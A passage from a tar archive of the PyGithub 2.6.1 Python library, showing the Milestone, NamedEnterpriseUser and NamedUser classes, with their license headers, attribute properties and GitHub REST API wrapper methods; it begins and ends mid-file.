attributes["owner"]) if "repositories" in attributes: self._repositories = self._makeListOfClassesAttribute( github.Repository.Repository, attributes["repositories"] ) if "state" in attributes: self._state = self._makeStringAttribute(attributes["state"]) if "updated_at" in attributes: self._updated_at = self._makeDatetimeAttribute(attributes["updated_at"]) if "url" in attributes: self._url = self._makeStringAttribute(attributes["url"]) ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/github/Milestone.py0000644000175100001660000002535114756101563016567 0ustar00runnerdocker############################ Copyrights and license ############################ # # # Copyright 2012 Vincent Jacques # # Copyright 2012 Zearin # # Copyright 2013 AKFish # # Copyright 2013 Vincent Jacques # # Copyright 2013 martinqt # # Copyright 2014 Vincent Jacques # # Copyright 2016 Jannis Gebauer # # Copyright 2016 Peter Buckley # # Copyright 2018 Michell Stuttgart # # Copyright 2018 sfdye # # Copyright 2019 Steve Kowalik # # Copyright 2019 Wan Liuyang # # Copyright 2020 Steve Kowalik # # Copyright 2021 Mark Walker # # Copyright 2021 Steve Kowalik # # Copyright 2023 Enrico Minack # # Copyright 2023 Jirka Borovec <6035284+Borda@users.noreply.github.com> # # Copyright 2023 Trim21 # # Copyright 2024 Enrico Minack # # Copyright 2024 Jirka Borovec <6035284+Borda@users.noreply.github.com> # # Copyright 2025 Enrico Minack # # # # This file is part of PyGithub. # # http://pygithub.readthedocs.io/ # # # # PyGithub is free software: you can redistribute it and/or modify it under # # the terms of the GNU Lesser General Public License as published by the Free # # Software Foundation, either version 3 of the License, or (at your option) # # any later version. # # # # PyGithub is distributed in the hope that it will be useful, but WITHOUT ANY # # WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS # # FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more # # details. # # # # You should have received a copy of the GNU Lesser General Public License # # along with PyGithub. If not, see . # # # ################################################################################ from __future__ import annotations from datetime import date, datetime from typing import Any import github.GithubObject import github.Label import github.NamedUser import github.PaginatedList from github.GithubObject import Attribute, CompletableGithubObject, NotSet, Opt, is_defined from github.PaginatedList import PaginatedList class Milestone(CompletableGithubObject): """ This class represents Milestones. The reference can be found here https://docs.github.com/en/rest/reference/issues#milestones The OpenAPI schema can be found at - /components/schemas/issue-event-milestone - /components/schemas/milestone - /components/schemas/nullable-milestone """ def _initAttributes(self) -> None: self._closed_at: Attribute[datetime] = NotSet self._closed_issues: Attribute[int] = NotSet self._created_at: Attribute[datetime] = NotSet self._creator: Attribute[github.NamedUser.NamedUser] = NotSet self._description: Attribute[str] = NotSet self._due_on: Attribute[datetime] = NotSet self._html_url: Attribute[str] = NotSet self._id: Attribute[int] = NotSet self._labels_url: Attribute[str] = NotSet self._node_id: Attribute[str] = NotSet self._number: Attribute[int] = NotSet self._open_issues: Attribute[int] = NotSet self._state: Attribute[str] = NotSet self._title: Attribute[str] = NotSet self._updated_at: Attribute[datetime] = NotSet self._url: Attribute[str] = NotSet def __repr__(self) -> str: return self.get__repr__({"number": self._number.value, "title": self._title.value}) @property def _identity(self) -> int: return self.number @property def closed_at(self) -> datetime: self._completeIfNotSet(self._closed_at) return self._closed_at.value @property def closed_issues(self) -> int: self._completeIfNotSet(self._closed_issues) return self._closed_issues.value @property def created_at(self) -> datetime: self._completeIfNotSet(self._created_at) return self._created_at.value @property def creator(self) -> github.NamedUser.NamedUser: self._completeIfNotSet(self._creator) return self._creator.value @property def description(self) -> str: self._completeIfNotSet(self._description) return self._description.value @property def due_on(self) -> datetime | None: self._completeIfNotSet(self._due_on) return self._due_on.value @property def html_url(self) -> str: self._completeIfNotSet(self._html_url) return self._html_url.value @property def id(self) -> int: self._completeIfNotSet(self._id) return self._id.value @property def labels_url(self) -> str: self._completeIfNotSet(self._labels_url) return self._labels_url.value @property def node_id(self) -> str: self._completeIfNotSet(self._node_id) return self._node_id.value @property def number(self) -> int: self._completeIfNotSet(self._number) return self._number.value @property def open_issues(self) -> int: self._completeIfNotSet(self._open_issues) return self._open_issues.value @property def state(self) -> str: self._completeIfNotSet(self._state) return self._state.value @property def title(self) -> str: self._completeIfNotSet(self._title) return self._title.value @property def updated_at(self) -> datetime: self._completeIfNotSet(self._updated_at) return self._updated_at.value @property def url(self) -> str: self._completeIfNotSet(self._url) return self._url.value def delete(self) -> None: """ :calls: `DELETE /repos/{owner}/{repo}/milestones/{number} `_ """ headers, data = self._requester.requestJsonAndCheck("DELETE", self.url) def edit( self, title: str, state: Opt[str] = NotSet, description: Opt[str] = NotSet, due_on: Opt[date] = NotSet ) -> None: """ :calls: `PATCH /repos/{owner}/{repo}/milestones/{number} `_ """ assert isinstance(title, str), title assert state is NotSet or isinstance(state, str), state assert description is NotSet or isinstance(description, str), description assert due_on is NotSet or isinstance(due_on, date), due_on post_parameters = NotSet.remove_unset_items( { "title": title, "state": state, "description": description, } ) if is_defined(due_on): post_parameters["due_on"] = due_on.strftime("%Y-%m-%d") headers, data = self._requester.requestJsonAndCheck("PATCH", self.url, input=post_parameters) self._useAttributes(data) def get_labels(self) -> PaginatedList[github.Label.Label]: """ :calls: `GET /repos/{owner}/{repo}/milestones/{number}/labels `_ """ return PaginatedList(github.Label.Label, self._requester, f"{self.url}/labels", None) def _useAttributes(self, attributes: dict[str, Any]) -> None: if "closed_at" in attributes: # pragma no branch self._closed_at = self._makeDatetimeAttribute(attributes["closed_at"]) if "closed_issues" in attributes: # pragma no branch self._closed_issues = self._makeIntAttribute(attributes["closed_issues"]) if "created_at" in attributes: # pragma no branch self._created_at = self._makeDatetimeAttribute(attributes["created_at"]) if "creator" in attributes: # pragma no branch self._creator = self._makeClassAttribute(github.NamedUser.NamedUser, attributes["creator"]) if "description" in attributes: # pragma no branch self._description = self._makeStringAttribute(attributes["description"]) if "due_on" in attributes: # pragma no branch self._due_on = self._makeDatetimeAttribute(attributes["due_on"]) if "html_url" in attributes: # pragma no branch self._html_url = self._makeStringAttribute(attributes["html_url"]) if "id" in attributes: # pragma no branch self._id = self._makeIntAttribute(attributes["id"]) if "labels_url" in attributes: # pragma no branch self._labels_url = self._makeStringAttribute(attributes["labels_url"]) if "node_id" in attributes: # pragma no branch self._node_id = self._makeStringAttribute(attributes["node_id"]) if "number" in attributes: # pragma no branch self._number = self._makeIntAttribute(attributes["number"]) if "open_issues" in attributes: # pragma no branch self._open_issues = self._makeIntAttribute(attributes["open_issues"]) if "state" in attributes: # pragma no branch self._state = self._makeStringAttribute(attributes["state"]) if "title" in attributes: # pragma no branch self._title = self._makeStringAttribute(attributes["title"]) if "updated_at" in attributes: # pragma no branch self._updated_at = self._makeDatetimeAttribute(attributes["updated_at"]) if "url" in attributes: # pragma no branch self._url = self._makeStringAttribute(attributes["url"]) ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/github/NamedEnterpriseUser.py0000644000175100001660000002445714756101563020562 0ustar00runnerdocker############################ Copyrights and license ############################ # # # Copyright 2023 Enrico Minack # # Copyright 2023 YugoHino # # Copyright 2024 Enrico Minack # # Copyright 2024 Jirka Borovec <6035284+Borda@users.noreply.github.com> # # Copyright 2025 Enrico Minack # # # # This file is part of PyGithub. # # http://pygithub.readthedocs.io/ # # # # PyGithub is free software: you can redistribute it and/or modify it under # # the terms of the GNU Lesser General Public License as published by the Free # # Software Foundation, either version 3 of the License, or (at your option) # # any later version. # # # # PyGithub is distributed in the hope that it will be useful, but WITHOUT ANY # # WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS # # FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more # # details. # # # # You should have received a copy of the GNU Lesser General Public License # # along with PyGithub. If not, see . # # # ################################################################################ from typing import Any, Dict from github.GithubObject import Attribute, CompletableGithubObject, NotSet class NamedEnterpriseUser(CompletableGithubObject): """ This class represents NamedEnterpriseUsers. The reference can be found here https://docs.github.com/en/enterprise-cloud@latest/rest/enterprise-admin/license#list-enterprise-consumed-licenses """ def _initAttributes(self) -> None: self._enterprise_server_primary_emails: Attribute[list] = NotSet self._enterprise_server_user: Attribute[bool] = NotSet self._enterprise_server_user_ids: Attribute[list] = NotSet self._github_com_enterprise_roles: Attribute[list] = NotSet self._github_com_login: Attribute[str] = NotSet self._github_com_member_roles: Attribute[list] = NotSet self._github_com_name: Attribute[str] = NotSet self._github_com_orgs_with_pending_invites: Attribute[list] = NotSet self._github_com_profile: Attribute[str] = NotSet self._github_com_saml_name_id: Attribute[str] = NotSet self._github_com_two_factor_auth: Attribute[bool] = NotSet self._github_com_user: Attribute[bool] = NotSet self._github_com_verified_domain_emails: Attribute[list] = NotSet self._license_type: Attribute[str] = NotSet self._total_user_accounts: Attribute[int] = NotSet self._visual_studio_license_status: Attribute[str] = NotSet self._visual_studio_subscription_email: Attribute[str] = NotSet self._visual_studio_subscription_user: Attribute[bool] = NotSet def __repr__(self) -> str: return self.get__repr__({"login": self._github_com_login.value}) @property def enterprise_server_primary_emails(self) -> list: self._completeIfNotSet(self._enterprise_server_primary_emails) return self._enterprise_server_primary_emails.value @property def enterprise_server_user(self) -> bool: self._completeIfNotSet(self._enterprise_server_user) return self._enterprise_server_user.value @property def enterprise_server_user_ids(self) -> list: self._completeIfNotSet(self._enterprise_server_user_ids) return self._enterprise_server_user_ids.value @property def github_com_enterprise_roles(self) -> list: self._completeIfNotSet(self._github_com_enterprise_roles) return self._github_com_enterprise_roles.value @property def github_com_login(self) -> str: self._completeIfNotSet(self._github_com_login) return self._github_com_login.value @property def github_com_member_roles(self) -> list: self._completeIfNotSet(self._github_com_member_roles) return self._github_com_member_roles.value @property def github_com_name(self) -> str: self._completeIfNotSet(self._github_com_name) return self._github_com_name.value @property def github_com_orgs_with_pending_invites(self) -> list: self._completeIfNotSet(self._github_com_orgs_with_pending_invites) return self._github_com_orgs_with_pending_invites.value @property def github_com_profile(self) -> str: self._completeIfNotSet(self._github_com_profile) return self._github_com_profile.value @property def github_com_saml_name_id(self) -> str: self._completeIfNotSet(self._github_com_saml_name_id) return self._github_com_saml_name_id.value @property def github_com_two_factor_auth(self) -> bool: self._completeIfNotSet(self._github_com_two_factor_auth) return self._github_com_two_factor_auth.value @property def github_com_user(self) -> bool: self._completeIfNotSet(self._github_com_user) return self._github_com_user.value @property def github_com_verified_domain_emails(self) -> list: self._completeIfNotSet(self._github_com_verified_domain_emails) return self._github_com_verified_domain_emails.value @property def license_type(self) -> str: self._completeIfNotSet(self._license_type) return self._license_type.value @property def total_user_accounts(self) -> int: self._completeIfNotSet(self._total_user_accounts) return self._total_user_accounts.value @property def visual_studio_license_status(self) -> str: self._completeIfNotSet(self._visual_studio_license_status) return self._visual_studio_license_status.value @property def visual_studio_subscription_email(self) -> str: self._completeIfNotSet(self._visual_studio_subscription_email) return self._visual_studio_subscription_email.value @property def visual_studio_subscription_user(self) -> bool: self._completeIfNotSet(self._visual_studio_subscription_user) return self._visual_studio_subscription_user.value def _useAttributes(self, attributes: Dict[str, Any]) -> None: if "enterprise_server_primary_emails" in attributes: # pragma no branch self._enterprise_server_primary_emails = self._makeListOfStringsAttribute( attributes["enterprise_server_primary_emails"] ) if "enterprise_server_user" in attributes: # pragma no branch self._enterprise_server_user = self._makeBoolAttribute(attributes["enterprise_server_user"]) if "enterprise_server_user_ids" in attributes: # pragma no branch self._enterprise_server_user_ids = self._makeListOfStringsAttribute( attributes["enterprise_server_user_ids"] ) if "github_com_enterprise_roles" in attributes: # pragma no branch self._github_com_enterprise_roles = self._makeListOfStringsAttribute( attributes["github_com_enterprise_roles"] ) if "github_com_login" in attributes: # pragma no branch self._github_com_login = self._makeStringAttribute(attributes["github_com_login"]) if "github_com_member_roles" in attributes: # pragma no branch self._github_com_member_roles = self._makeListOfStringsAttribute(attributes["github_com_member_roles"]) if "github_com_name" in attributes: # pragma no branch self._github_com_name = self._makeStringAttribute(attributes["github_com_name"]) if "github_com_orgs_with_pending_invites" in attributes: # pragma no branch self._github_com_orgs_with_pending_invites = self._makeListOfStringsAttribute( attributes["github_com_orgs_with_pending_invites"] ) if "github_com_profile" in attributes: # pragma no branch self._github_com_profile = self._makeStringAttribute(attributes["github_com_profile"]) if "github_com_saml_name_id" in attributes: # pragma no branch self._github_com_saml_name_id = self._makeStringAttribute(attributes["github_com_saml_name_id"]) if "github_com_two_factor_auth" in attributes: # pragma no branch self._github_com_two_factor_auth = self._makeBoolAttribute(attributes["github_com_two_factor_auth"]) if "github_com_user" in attributes: # pragma no branch self._github_com_user = self._makeBoolAttribute(attributes["github_com_user"]) if "github_com_verified_domain_emails" in attributes: # pragma no branch self._github_com_verified_domain_emails = self._makeListOfStringsAttribute( attributes["github_com_verified_domain_emails"] ) if "license_type" in attributes: # pragma no branch self._license_type = self._makeStringAttribute(attributes["license_type"]) if "total_user_accounts" in attributes: # pragma no branch self._total_user_accounts = self._makeIntAttribute(attributes["total_user_accounts"]) if "visual_studio_license_status" in attributes: # pragma no branch self._visual_studio_license_status = self._makeStringAttribute(attributes["visual_studio_license_status"]) if "visual_studio_subscription_email" in attributes: # pragma no branch self._visual_studio_subscription_email = self._makeStringAttribute( attributes["visual_studio_subscription_email"] ) if "visual_studio_subscription_user" in attributes: # pragma no branch self._visual_studio_subscription_user = self._makeBoolAttribute( attributes["visual_studio_subscription_user"] ) ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/github/NamedUser.py0000644000175100001660000007351714756101563016522 0ustar00runnerdocker############################ Copyrights and license ############################ # # # Copyright 2012 Steve English # # Copyright 2012 Vincent Jacques # # Copyright 2012 Zearin # # Copyright 2013 AKFish # # Copyright 2013 Vincent Jacques # # Copyright 2014 Vincent Jacques # # Copyright 2016 Jannis Gebauer # # Copyright 2016 Peter Buckley # # Copyright 2017 Simon # # Copyright 2018 Bruce Richardson # # Copyright 2018 Iraquitan Cordeiro Filho # # Copyright 2018 Riccardo Pittau # # Copyright 2018 Steve Kowalik # # Copyright 2018 Victor Granic # # Copyright 2018 Wan Liuyang # # Copyright 2018 namc # # Copyright 2018 sfdye # # Copyright 2019 Pavan Kunisetty # # Copyright 2019 Shibasis Patel # # Copyright 2019 Steve Kowalik # # Copyright 2019 Surya Teja <94suryateja@gmail.com> # # Copyright 2019 Wan Liuyang # # Copyright 2020 Anuj Bansal # # Copyright 2020 Daniel Haas # # Copyright 2020 Steve Kowalik # # Copyright 2021 Mark Walker # # Copyright 2021 Steve Kowalik # # Copyright 2023 Enrico Minack # # Copyright 2023 Jirka Borovec <6035284+Borda@users.noreply.github.com> # # Copyright 2023 Mark Amery # # Copyright 2023 Trim21 # # Copyright 2024 Enrico Minack # # Copyright 2024 Jirka Borovec <6035284+Borda@users.noreply.github.com> # # Copyright 2025 Enrico Minack # # # # This file is part of PyGithub. # # http://pygithub.readthedocs.io/ # # # # PyGithub is free software: you can redistribute it and/or modify it under # # the terms of the GNU Lesser General Public License as published by the Free # # Software Foundation, either version 3 of the License, or (at your option) # # any later version. # # # # PyGithub is distributed in the hope that it will be useful, but WITHOUT ANY # # WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS # # FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more # # details. # # # # You should have received a copy of the GNU Lesser General Public License # # along with PyGithub. If not, see . # # # ################################################################################ from __future__ import annotations import urllib.parse from datetime import datetime from typing import TYPE_CHECKING, Any import github.Event import github.Gist import github.GithubObject import github.Organization import github.PaginatedList import github.Permissions import github.Plan import github.Repository from github import Consts from github.GithubObject import Attribute, NotSet, Opt, is_defined from github.PaginatedList import PaginatedList if TYPE_CHECKING: from github.Event import Event from github.Gist import Gist from github.Membership import Membership from github.Organization import Organization from github.Permissions import Permissions from github.Plan import Plan from github.Project import Project from github.Repository import Repository from github.UserKey import UserKey class NamedUser(github.GithubObject.CompletableGithubObject): """ This class represents NamedUsers. The reference can be found here https://docs.github.com/en/rest/reference/users#get-a-user The OpenAPI schema can be found at - /components/schemas/actor - /components/schemas/collaborator - /components/schemas/contributor - /components/schemas/nullable-simple-user - /components/schemas/public-user - /components/schemas/simple-user - /components/schemas/user-search-result-item """ def _initAttributes(self) -> None: self._avatar_url: Attribute[str] = NotSet self._bio: Attribute[str | None] = NotSet self._blog: Attribute[str | None] = NotSet self._collaborators: Attribute[int] = NotSet self._company: Attribute[str | None] = NotSet self._contributions: Attribute[int] = NotSet self._created_at: Attribute[datetime] = NotSet self._disk_usage: Attribute[int] = NotSet self._display_login: Attribute[str] = NotSet self._email: Attribute[str | None] = NotSet self._events_url: Attribute[str] = NotSet self._followers: Attribute[int] = NotSet self._followers_url: Attribute[str] = NotSet self._following: Attribute[int] = NotSet self._following_url: Attribute[str] = NotSet self._gists_url: Attribute[str] = NotSet self._gravatar_id: Attribute[str | None] = NotSet self._hireable: Attribute[bool | None] = NotSet self._html_url: Attribute[str] = NotSet self._id: Attribute[int] = NotSet self._invitation_teams_url: Attribute[str] = NotSet self._inviter: Attribute[NamedUser] = NotSet self._location: Attribute[str | None] = NotSet self._login: Attribute[str] = NotSet self._name: Attribute[str] = NotSet self._node_id: Attribute[str] = NotSet self._notification_email: Attribute[str] = NotSet self._organizations_url: Attribute[str] = NotSet self._owned_private_repos: Attribute[int] = NotSet self._permissions: Attribute[Permissions] = NotSet self._plan: Attribute[Plan] = NotSet self._private_gists: Attribute[int] = NotSet self._public_gists: Attribute[int] = NotSet self._public_repos: Attribute[int] = NotSet self._received_events_url: Attribute[str] = NotSet self._repos_url: Attribute[str] = NotSet self._role: Attribute[str] = NotSet self._role_name: Attribute[str] = NotSet self._score: Attribute[float] = NotSet self._site_admin: Attribute[bool] = NotSet self._starred_at: Attribute[str] = NotSet self._starred_url: Attribute[str] = NotSet self._subscriptions_url: Attribute[str] = NotSet self._suspended_at: Attribute[datetime | None] = NotSet self._team_count: Attribute[int] = NotSet self._text_matches: Attribute[dict[str, Any]] = NotSet self._total_private_repos: Attribute[int] = NotSet self._twitter_username: Attribute[str | None] = NotSet self._type: Attribute[str] = NotSet self._updated_at: Attribute[datetime] = NotSet self._url: Attribute[str] = NotSet self._user_view_type: Attribute[str] = NotSet def __eq__(self, other: Any) -> bool: return isinstance(other, type(self)) and self.login == other.login and self.id == other.id def __hash__(self) -> int: return hash((self.id, self.login)) def __repr__(self) -> str: return self.get__repr__({"login": self._login.value}) @property def _identity(self) -> str: return self.login @property def avatar_url(self) -> str: self._completeIfNotSet(self._avatar_url) return self._avatar_url.value @property def bio(self) -> str | None: self._completeIfNotSet(self._bio) return self._bio.value @property def blog(self) -> str | None: self._completeIfNotSet(self._blog) return self._blog.value @property def collaborators(self) -> int | None: self._completeIfNotSet(self._collaborators) return self._collaborators.value @property def company(self) -> str | None: self._completeIfNotSet(self._company) return self._company.value @property def contributions(self) -> int: self._completeIfNotSet(self._contributions) return self._contributions.value @property def created_at(self) -> datetime: self._completeIfNotSet(self._created_at) return self._created_at.value @property def disk_usage(self) -> int: self._completeIfNotSet(self._disk_usage) return self._disk_usage.value @property def display_login(self) -> str: return self._display_login.value @property def email(self) -> str | None: self._completeIfNotSet(self._email) return self._email.value @property def events_url(self) -> str: self._completeIfNotSet(self._events_url) return self._events_url.value @property def followers(self) -> int: self._completeIfNotSet(self._followers) return self._followers.value @property def followers_url(self) -> str: self._completeIfNotSet(self._followers_url) return self._followers_url.value @property def following(self) -> int: self._completeIfNotSet(self._following) return self._following.value @property def following_url(self) -> str: self._completeIfNotSet(self._following_url) return self._following_url.value @property def gists_url(self) -> str: self._completeIfNotSet(self._gists_url) return self._gists_url.value @property def gravatar_id(self) -> str | None: self._completeIfNotSet(self._gravatar_id) return self._gravatar_id.value @property def hireable(self) -> bool | None: self._completeIfNotSet(self._hireable) return self._hireable.value @property def html_url(self) -> str: self._completeIfNotSet(self._html_url) return self._html_url.value @property def id(self) -> int: self._completeIfNotSet(self._id) return self._id.value @property def invitation_teams_url(self) -> str: self._completeIfNotSet(self._invitation_teams_url) return self._invitation_teams_url.value @property def inviter(self) -> NamedUser: self._completeIfNotSet(self._inviter) return self._inviter.value @property def location(self) -> str | None: self._completeIfNotSet(self._location) return self._location.value @property def login(self) -> str: self._completeIfNotSet(self._login) return self._login.value @property def name(self) -> str | None: self._completeIfNotSet(self._name) return self._name.value @property def node_id(self) -> str: self._completeIfNotSet(self._node_id) return self._node_id.value @property def notification_email(self) -> str: return self._notification_email.value @property def organizations_url(self) -> str: self._completeIfNotSet(self._organizations_url) return self._organizations_url.value @property def owned_private_repos(self) -> int | None: self._completeIfNotSet(self._owned_private_repos) return self._owned_private_repos.value @property def permissions(self) -> Permissions: self._completeIfNotSet(self._permissions) return self._permissions.value @property def plan(self) -> Plan | None: self._completeIfNotSet(self._plan) return self._plan.value @property def private_gists(self) -> int | None: self._completeIfNotSet(self._private_gists) return self._private_gists.value @property def public_gists(self) -> int: self._completeIfNotSet(self._public_gists) return self._public_gists.value @property def public_repos(self) -> int: self._completeIfNotSet(self._public_repos) return self._public_repos.value @property def received_events_url(self) -> str: self._completeIfNotSet(self._received_events_url) return self._received_events_url.value @property def repos_url(self) -> str: self._completeIfNotSet(self._repos_url) return self._repos_url.value @property def role(self) -> str: self._completeIfNotSet(self._role) return self._role.value @property def role_name(self) -> str: return self._role_name.value @property def score(self) -> float: return self._score.value @property def site_admin(self) -> bool: self._completeIfNotSet(self._site_admin) return self._site_admin.value @property def starred_at(self) -> str: return self._starred_at.value @property def starred_url(self) -> str: self._completeIfNotSet(self._starred_url) return self._starred_url.value @property def subscriptions_url(self) -> str: self._completeIfNotSet(self._subscriptions_url) return self._subscriptions_url.value @property def suspended_at(self) -> datetime | None: self._completeIfNotSet(self._suspended_at) return self._suspended_at.value @property def team_count(self) -> int: self._completeIfNotSet(self._team_count) return self._team_count.value @property def text_matches(self) -> dict[str, Any]: return self._text_matches.value @property def total_private_repos(self) -> int | None: self._completeIfNotSet(self._total_private_repos) return self._total_private_repos.value @property def twitter_username(self) -> str | None: self._completeIfNotSet(self._twitter_username) return self._twitter_username.value @property def type(self) -> str: self._completeIfNotSet(self._type) return self._type.value @property def updated_at(self) -> datetime: self._completeIfNotSet(self._updated_at) return self._updated_at.value @property def url(self) -> str: self._completeIfNotSet(self._url) return self._url.value @property def user_view_type(self) -> str: return self._user_view_type.value def get_events(self) -> PaginatedList[Event]: """ :calls: `GET /users/{user}/events `_ """ return github.PaginatedList.PaginatedList(github.Event.Event, self._requester, f"{self.url}/events", None) def get_followers(self) -> PaginatedList[NamedUser]: """ :calls: `GET /users/{user}/followers `_ """ return github.PaginatedList.PaginatedList(NamedUser, self._requester, f"{self.url}/followers", None) def get_following(self) -> PaginatedList[NamedUser]: """ :calls: `GET /users/{user}/following `_ """ return github.PaginatedList.PaginatedList(NamedUser, self._requester, f"{self.url}/following", None) def get_gists(self, since: Opt[datetime] = NotSet) -> PaginatedList[Gist]: """ :calls: `GET /users/{user}/gists `_ """ assert since is NotSet or isinstance(since, datetime), since url_parameters = dict() if is_defined(since): url_parameters["since"] = since.strftime("%Y-%m-%dT%H:%M:%SZ") return github.PaginatedList.PaginatedList( github.Gist.Gist, self._requester, f"{self.url}/gists", url_parameters ) def get_keys(self) -> PaginatedList[UserKey]: """ :calls: `GET /users/{user}/keys `_ """ return github.PaginatedList.PaginatedList(github.UserKey.UserKey, self._requester, f"{self.url}/keys", None) def get_orgs(self) -> PaginatedList[Organization]: """ :calls: `GET /users/{user}/orgs `_ """ return github.PaginatedList.PaginatedList( github.Organization.Organization, self._requester, f"{self.url}/orgs", None ) def get_projects(self, state: str = "open") -> PaginatedList[Project]: """ :calls: `GET /users/{user}/projects `_ """ assert isinstance(state, str), state url_parameters = {"state": state} return github.PaginatedList.PaginatedList( github.Project.Project, self._requester, f"{self.url}/projects", url_parameters, headers={"Accept": Consts.mediaTypeProjectsPreview}, ) def get_public_events(self) -> PaginatedList[Event]: """ :calls: `GET /users/{user}/events/public `_ """ return github.PaginatedList.PaginatedList( github.Event.Event, self._requester, f"{self.url}/events/public", None ) def get_public_received_events(self) -> PaginatedList[Event]: """ :calls: `GET /users/{user}/received_events/public `_ """ return github.PaginatedList.PaginatedList( github.Event.Event, self._requester, f"{self.url}/received_events/public", None, ) def get_received_events(self) -> PaginatedList[Event]: """ :calls: `GET /users/{user}/received_events `_ """ return github.PaginatedList.PaginatedList( github.Event.Event, self._requester, f"{self.url}/received_events", None ) def get_repo(self, name: str) -> Repository: """ :calls: `GET /repos/{owner}/{repo} `_ """ assert isinstance(name, str), name headers, data = self._requester.requestJsonAndCheck("GET", f"/repos/{self.login}/{name}") return github.Repository.Repository(self._requester, headers, data, completed=True) def get_repos( self, type: Opt[str] = NotSet, sort: Opt[str] = NotSet, direction: Opt[str] = NotSet, ) -> PaginatedList[Repository]: """ :calls: `GET /users/{user}/repos `_ """ assert type is NotSet or isinstance(type, str), type assert sort is NotSet or isinstance(sort, str), sort assert direction is NotSet or isinstance(direction, str), direction url_parameters = dict() if type is not NotSet: url_parameters["type"] = type if sort is not NotSet: url_parameters["sort"] = sort if direction is not NotSet: url_parameters["direction"] = direction return github.PaginatedList.PaginatedList( github.Repository.Repository, self._requester, f"{self.url}/repos", url_parameters, ) def get_starred(self) -> PaginatedList[Repository]: """ :calls: `GET /users/{user}/starred `_ """ return github.PaginatedList.PaginatedList( github.Repository.Repository, self._requester, f"{self.url}/starred", None ) def get_subscriptions(self) -> PaginatedList[Repository]: """ :calls: `GET /users/{user}/subscriptions `_ """ return github.PaginatedList.PaginatedList( github.Repository.Repository, self._requester, f"{self.url}/subscriptions", None, ) def get_watched(self) -> PaginatedList[Repository]: """ :calls: `GET /users/{user}/watched `_ """ return github.PaginatedList.PaginatedList( github.Repository.Repository, self._requester, f"{self.url}/watched", None ) def has_in_following(self, following: NamedUser) -> bool: """ :calls: `GET /users/{user}/following/{target_user} `_ """ assert isinstance(following, github.NamedUser.NamedUser), following status, headers, data = self._requester.requestJson("GET", f"{self.url}/following/{following._identity}") return status == 204 def get_organization_membership(self, org: str | Organization) -> Membership: """ :calls: `GET /orgs/{org}/memberships/{username} `_ """ assert isinstance(org, str) or isinstance(org, github.Organization.Organization), org if isinstance(org, github.Organization.Organization): org = org.login # type: ignore org = urllib.parse.quote(org) headers, data = self._requester.requestJsonAndCheck("GET", f"/orgs/{org}/memberships/{self.login}") return github.Membership.Membership(self._requester, headers, data, completed=True) def _useAttributes(self, attributes: dict[str, Any]) -> None: if "avatar_url" in attributes: # pragma no branch self._avatar_url = self._makeStringAttribute(attributes["avatar_url"]) if "bio" in attributes: # pragma no branch self._bio = self._makeStringAttribute(attributes["bio"]) if "blog" in attributes: # pragma no branch self._blog = self._makeStringAttribute(attributes["blog"]) if "collaborators" in attributes: # pragma no branch self._collaborators = self._makeIntAttribute(attributes["collaborators"]) if "company" in attributes: # pragma no branch self._company = self._makeStringAttribute(attributes["company"]) if "contributions" in attributes: # pragma no branch self._contributions = self._makeIntAttribute(attributes["contributions"]) if "created_at" in attributes: # pragma no branch self._created_at = self._makeDatetimeAttribute(attributes["created_at"]) if "disk_usage" in attributes: # pragma no branch self._disk_usage = self._makeIntAttribute(attributes["disk_usage"]) if "display_login" in attributes: # pragma no branch self._display_login = self._makeStringAttribute(attributes["display_login"]) if "email" in attributes: # pragma no branch self._email = self._makeStringAttribute(attributes["email"]) if "events_url" in attributes: # pragma no branch self._events_url = self._makeStringAttribute(attributes["events_url"]) if "followers" in attributes: # pragma no branch self._followers = self._makeIntAttribute(attributes["followers"]) if "followers_url" in attributes: # pragma no branch self._followers_url = self._makeStringAttribute(attributes["followers_url"]) if "following" in attributes: # pragma no branch self._following = self._makeIntAttribute(attributes["following"]) if "following_url" in attributes: # pragma no branch self._following_url = self._makeStringAttribute(attributes["following_url"]) if "gists_url" in attributes: # pragma no branch self._gists_url = self._makeStringAttribute(attributes["gists_url"]) if "gravatar_id" in attributes: # pragma no branch self._gravatar_id = self._makeStringAttribute(attributes["gravatar_id"]) if "hireable" in attributes: # pragma no branch self._hireable = self._makeBoolAttribute(attributes["hireable"]) if "html_url" in attributes: # pragma no branch self._html_url = self._makeStringAttribute(attributes["html_url"]) if "id" in attributes: # pragma no branch self._id = self._makeIntAttribute(attributes["id"]) if "invitation_teams_url" in attributes: # pragma no branch self._invitation_teams_url = self._makeStringAttribute(attributes["invitation_teams_url"]) if "inviter" in attributes: # pragma no branch self._inviter = self._makeClassAttribute(github.NamedUser.NamedUser, attributes["inviter"]) if "location" in attributes: # pragma no branch self._location = self._makeStringAttribute(attributes["location"]) if "login" in attributes: # pragma no branch self._login = self._makeStringAttribute(attributes["login"]) if "name" in attributes: # pragma no branch self._name = self._makeStringAttribute(attributes["name"]) if "node_id" in attributes: # pragma no branch self._node_id = self._makeStringAttribute(attributes["node_id"]) if "notification_email" in attributes: # pragma no branch self._notification_email = self._makeStringAttribute(attributes["notification_email"]) if "organizations_url" in attributes: # pragma no branch self._organizations_url = self._makeStringAttribute(attributes["organizations_url"]) if "owned_private_repos" in attributes: # pragma no branch self._owned_private_repos = self._makeIntAttribute(attributes["owned_private_repos"]) if "permissions" in attributes: # pragma no branch self._permissions = self._makeClassAttribute(github.Permissions.Permissions, attributes["permissions"]) if "plan" in attributes: # pragma no branch self._plan = self._makeClassAttribute(github.Plan.Plan, attributes["plan"]) if "private_gists" in attributes: # pragma no branch self._private_gists = self._makeIntAttribute(attributes["private_gists"]) if "public_gists" in attributes: # pragma no branch self._public_gists = self._makeIntAttribute(attributes["public_gists"]) if "public_repos" in attributes: # pragma no branch self._public_repos = self._makeIntAttribute(attributes["public_repos"]) if "received_events_url" in attributes: # pragma no branch self._received_events_url = self._makeStringAttribute(attributes["received_events_url"]) if "repos_url" in attributes: # pragma no branch self._repos_url = self._makeStringAttribute(attributes["repos_url"]) if "role" in attributes: # pragma no branch self._role = 